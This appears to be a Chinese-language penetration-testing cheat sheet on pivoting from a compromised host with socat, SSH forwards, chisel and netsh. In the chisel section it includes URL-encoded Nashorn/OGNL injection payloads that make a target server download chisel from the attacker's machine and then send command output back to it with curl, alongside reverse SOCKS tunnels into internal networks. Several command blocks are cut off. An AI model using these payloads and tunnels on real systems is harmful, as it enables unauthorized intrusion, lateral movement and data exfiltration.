端口转发和隧道搭建
使用socat进行转发
被控机器执行
1 | socat -ddd TCP-LISTEN:本地监听端口,fork TCP:内网目标机器:目标端口 |
SSH隧道搭建
SSH端口本地端口转发
1 | # 被控机器运行 |
SSH动态端口转发
被控机器执行
1 | ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215 |
相当于被控机器就是sock代理,database_admin@10.4.50.215是内网主机的SSH
这种方法的前提是知道PGDATABASE01的ssh口令
然后修改/etc/proxychains4.conf为被控机器的9999端口,使用proxychains连接
SSH远程端口转发
1 | # kali@192.168.118.4是攻击机的ssh |
SSH远程动态端口转发
被控机器执行
1 | # kali@192.168.118.4是攻击机的ssh |
攻击机直接挂proxychains修改代理为本地的9998
使用chisel建立隧道
方法一
先将chisel上传到目标服务器上
1 | curl http://192.168.231.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.45.192/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/ |
然后攻击机执行
1 | chisel server --port 8080 --reverse |
随后执行
1 | sudo tcpdump -nvvvXi tun0 tcp port 8080 |
然后执行
1 | curl http://192.168.231.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.45.192:8080%20R:socks%20%26%3E%20/tmp/output%20%3B%20curl%20--data%20@/tmp/output%20http://192.168.45.192:8080/%27%29.start%28%29%22%29%7D/ |
然后攻击机安装
1 | sudo apt install ncat |
方法二
kali搭建chisel服务端
1 | chisel server -p 4040 --reverse |
Windows运行
1 | chisel.exe client 目标IP:4040 R:socks |
然后使用proxychain配置socks5代理,然后扫内网
方法三(实测)
1 | ./chisel server -p 8080 --reverse |
使用netsh进行端口转发
windows上(需要管理员权限)
1 | netsh interface portproxy add v4tov4 listenport=8080 listenaddress=本地IP地址 connectport=80 connectaddress=目标IP地址 |